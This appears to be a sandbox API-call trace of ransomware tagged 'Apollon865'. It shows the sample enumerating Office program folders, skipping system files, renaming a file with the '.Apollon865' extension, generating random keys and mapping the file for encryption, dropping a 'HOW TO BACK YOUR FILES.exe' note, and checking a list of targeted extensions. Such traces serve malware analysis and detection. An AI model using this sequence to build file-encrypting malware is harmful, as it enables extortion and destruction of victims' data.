	[0070.348] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.348] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42010bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42010bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.348] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.348] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.348] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.348] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.348] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42010bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42010bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.348] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.348] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="Apollon865.txt.exe") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2=".") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="..") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="windows") returned -1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="bootmgr") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="temp") returned -1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="pagefile.sys") returned -1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="boot") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="ids.txt") returned 1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="ntuser.dat") returned -1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="perflogs") returned -1
	[0070.348] lstrcmpiW (lpString1="InfoPathOMFormServices", lpString2="MSBuild") returned -1
	[0070.348] lstrlenW (lpString="InfoPathOMFormServices") returned 22
	[0070.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*") returned 55
	[0070.349] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="InfoPathOMFormServices" | out: lpString1="InfoPathOMFormServices") returned="InfoPathOMFormServices"
	[0070.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0070.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x5cafd0
	[0070.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0070.349] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="Apollon865.txt.exe") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2=".") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="..") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="windows") returned -1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="bootmgr") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="temp") returned -1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="pagefile.sys") returned -1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="boot") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="ids.txt") returned 1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="ntuser.dat") returned -1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="perflogs") returned -1
	[0070.349] lstrcmpiW (lpString1="InfoPathOMV12", lpString2="MSBuild") returned -1
	[0070.349] lstrlenW (lpString="InfoPathOMV12") returned 13
	[0070.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 76
	[0070.349] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="InfoPathOMV12" | out: lpString1="InfoPathOMV12") returned="InfoPathOMV12"
	[0070.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0070.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0070.349] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0070.349] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="Apollon865.txt.exe") returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".") returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="..") returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="windows") returned -1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="bootmgr") returned 1
	[0070.349] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="temp") returned -1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="pagefile.sys") returned -1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="boot") returned 1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ids.txt") returned 1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ntuser.dat") returned -1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="perflogs") returned -1
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="MSBuild") returned -1
	[0070.350] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned 67
	[0070.350] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll"
	[0070.350] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.350] lstrlenW (lpString="Apollon865") returned 10
	[0070.350] lstrcmpiW (lpString1="fopath.dll", lpString2="Apollon865") returned 1
	[0070.350] lstrlenW (lpString=".dll") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".dll") returned 1
	[0070.350] lstrlenW (lpString=".lnk") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".lnk") returned 1
	[0070.350] lstrlenW (lpString=".ini") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".ini") returned 1
	[0070.350] lstrlenW (lpString=".sys") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".sys") returned 1
	[0070.350] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.350] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="Microsoft.Office.InfoPath.xml") returned="Microsoft.Office.InfoPath.xml"
	[0070.350] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.350] lstrlenW (lpString="Apollon865") returned 10
	[0070.350] lstrcmpiW (lpString1="foPath.xml", lpString2="Apollon865") returned 1
	[0070.350] lstrlenW (lpString=".dll") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".dll") returned 1
	[0070.350] lstrlenW (lpString=".lnk") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".lnk") returned 1
	[0070.350] lstrlenW (lpString=".ini") returned 4
	[0070.350] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".ini") returned 1
	[0070.350] lstrlenW (lpString=".sys") returned 4
	[0070.351] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".sys") returned 1
	[0070.351] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.351] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Apollon865") returned 94
	[0070.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.353] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=253407) returned 1
	[0070.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.354] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.354] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.354] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.354] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0e0, lpName=0x0) returned 0x118
	[0070.356] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0e0) returned 0x120000
	[0070.379] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.380] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.380] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.381] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.383] CloseHandle (hObject=0x118) returned 1
	[0070.383] CloseHandle (hObject=0xc0) returned 1
	[0070.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.385] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0
	[0070.385] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.385] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0070.385] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12"
	[0070.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0070.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0070.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned 67
	[0070.385] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12"
	[0070.385] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.385] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.391] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4205ce90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4205ce90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.392] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.392] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.392] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.392] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4205ce90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4205ce90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.392] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.392] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.392] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.392] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.392] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4205ce90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4205ce90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.392] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.392] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="Apollon865.txt.exe") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="..") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="windows") returned -1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="bootmgr") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="temp") returned -1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="pagefile.sys") returned -1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="boot") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ids.txt") returned 1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="ntuser.dat") returned -1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="perflogs") returned -1
	[0070.392] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2="MSBuild") returned -1
	[0070.392] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*") returned 69
	[0070.392] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Microsoft.Office.Infopath.dll" | out: lpString1="Microsoft.Office.Infopath.dll") returned="Microsoft.Office.Infopath.dll"
	[0070.392] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.392] lstrlenW (lpString="Apollon865") returned 10
	[0070.392] lstrcmpiW (lpString1="fopath.dll", lpString2="Apollon865") returned 1
	[0070.392] lstrlenW (lpString=".dll") returned 4
	[0070.393] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".dll") returned 1
	[0070.393] lstrlenW (lpString=".lnk") returned 4
	[0070.393] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".lnk") returned 1
	[0070.393] lstrlenW (lpString=".ini") returned 4
	[0070.393] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".ini") returned 1
	[0070.393] lstrlenW (lpString=".sys") returned 4
	[0070.393] lstrcmpiW (lpString1="Microsoft.Office.Infopath.dll", lpString2=".sys") returned 1
	[0070.393] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29
	[0070.393] lstrlenW (lpString="bak") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0070.393] lstrlenW (lpString="ba_") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0070.393] lstrlenW (lpString="dbb") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0070.393] lstrlenW (lpString="vmdk") returned 4
	[0070.393] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0070.393] lstrlenW (lpString="rar") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0070.393] lstrlenW (lpString="zip") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0070.393] lstrlenW (lpString="tgz") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0070.393] lstrlenW (lpString="vbox") returned 4
	[0070.393] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0070.393] lstrlenW (lpString="vdi") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0070.393] lstrlenW (lpString="vhd") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0070.393] lstrlenW (lpString="vhdx") returned 4
	[0070.393] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0070.393] lstrlenW (lpString="avhd") returned 4
	[0070.393] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0070.393] lstrlenW (lpString="db") returned 2
	[0070.393] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0070.393] lstrlenW (lpString="db2") returned 3
	[0070.393] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0070.393] lstrlenW (lpString="db3") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0070.394] lstrlenW (lpString="dbf") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0070.394] lstrlenW (lpString="mdf") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0070.394] lstrlenW (lpString="mdb") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0070.394] lstrlenW (lpString="sql") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0070.394] lstrlenW (lpString="sqlite") returned 6
	[0070.394] lstrcmpiW (lpString1="th.dll", lpString2="sqlite") returned 1
	[0070.394] lstrlenW (lpString="sqlite3") returned 7
	[0070.394] lstrcmpiW (lpString1="ath.dll", lpString2="sqlite3") returned -1
	[0070.394] lstrlenW (lpString="sqlitedb") returned 8
	[0070.394] lstrcmpiW (lpString1="path.dll", lpString2="sqlitedb") returned -1
	[0070.394] lstrlenW (lpString="xml") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0070.394] lstrlenW (lpString="$er") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0070.394] lstrlenW (lpString="4dd") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0070.394] lstrlenW (lpString="4dl") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0070.394] lstrlenW (lpString="^^^") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0070.394] lstrlenW (lpString="abs") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0070.394] lstrlenW (lpString="abx") returned 3
	[0070.394] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0070.394] lstrlenW (lpString="accdb") returned 5
	[0070.394] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1
	[0070.394] lstrlenW (lpString="accdc") returned 5
	[0070.394] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1
	[0070.394] lstrlenW (lpString="accde") returned 5
	[0070.394] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1
	[0070.394] lstrlenW (lpString="accdr") returned 5
	[0070.394] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1
	[0070.395] lstrlenW (lpString="accdt") returned 5
	[0070.395] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1
